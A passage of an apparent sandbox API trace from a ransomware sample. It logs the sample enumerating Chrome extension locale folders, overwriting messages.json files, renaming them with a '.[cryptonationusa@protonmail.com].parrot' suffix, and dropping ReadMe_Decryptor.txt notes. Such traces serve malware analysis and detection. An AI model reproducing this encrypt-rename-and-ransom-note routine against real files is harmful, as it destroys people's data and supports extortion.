ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0056300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0055.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0055.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0055.530] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0055.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x190) returned 0x5d5968 [0055.530] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb007c460, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb007c460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb00a25c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0055.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0055.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0055.530] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0055.530] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb007c460, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb007c460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb00a25c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0055.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0055.530] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0055.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0055.531] lstrcmpW (lpString1="es", lpString2=".") returned 1 [0055.531] lstrcmpW (lpString1="es", lpString2="..") returned 1 [0055.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0055.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240b98 [0055.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0055.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240d38 | out: hHeap=0x5b0000) returned 1 [0055.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240d38 [0055.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d5b00 [0055.531] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0055.701] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.701] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.701] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.701] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.701] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0055.701] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0055.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0055.701] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0055.701] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0055.702] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xdf [0055.702] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f7, nNumberOfBytesToLockHigh=0x0) returned 1 [0055.702] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0055.702] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0055.703] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.703] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdf, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdf, lpOverlapped=0x0) returned 1 [0055.703] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0055.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.703] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0055.703] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0055.703] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0055.703] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0055.703] GetLastError () returned 0x0 [0055.703] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.703] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0055.703] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0055.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d5d18 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0055.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d5e60 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5d18 | out: hHeap=0x5b0000) returned 1 [0055.704] WriteFile (in: hFile=0x288, lpBuffer=0x5d5e60*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d5e60*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0055.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5e60 | out: hHeap=0x5b0000) returned 1 [0055.705] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0055.705] CloseHandle (hObject=0x288) returned 1 [0055.705] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d5d18 [0055.705] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d5e50 [0055.705] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5d18 | out: hHeap=0x5b0000) returned 1 [0055.706] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0055.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5e50 | out: hHeap=0x5b0000) returned 1 [0055.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240e60 | out: hHeap=0x5b0000) returned 1 [0055.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1e8 | out: hHeap=0x5b0000) returned 1 [0055.706] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240e60 [0055.706] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d5d18 [0055.706] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0055.706] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0055.707] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.029] GetFileType (hFile=0x288) returned 0x1 [0056.029] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0056.039] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.039] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb039c140, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb039c140, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.039] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb02454e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0056.039] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0056.039] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0056.039] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.039] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d5b00 [0056.039] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb039c140, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb039c140, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb03c22a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0056.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0056.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.040] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0056.040] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb039c140, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb039c140, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb03c22a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0056.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240e60 | out: hHeap=0x5b0000) returned 1 [0056.040] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0056.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240d38 | out: hHeap=0x5b0000) returned 1 [0056.040] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0056.040] lstrcmpW (lpString1="es_419", lpString2=".") returned 1 [0056.040] lstrcmpW (lpString1="es_419", lpString2="..") returned 1 [0056.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0056.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240d38 [0056.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b98 | out: hHeap=0x5b0000) returned 1 [0056.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0056.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d5c88 [0056.040] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.040] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.040] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.041] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.041] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.041] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0056.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.041] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.041] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.041] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xdd [0056.041] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.041] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.041] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0056.042] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.042] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdd, lpOverlapped=0x0) returned 1 [0056.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0056.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0056.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0056.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0056.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0056.042] GetLastError () returned 0x0 [0056.043] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0056.043] HeapFree (in: 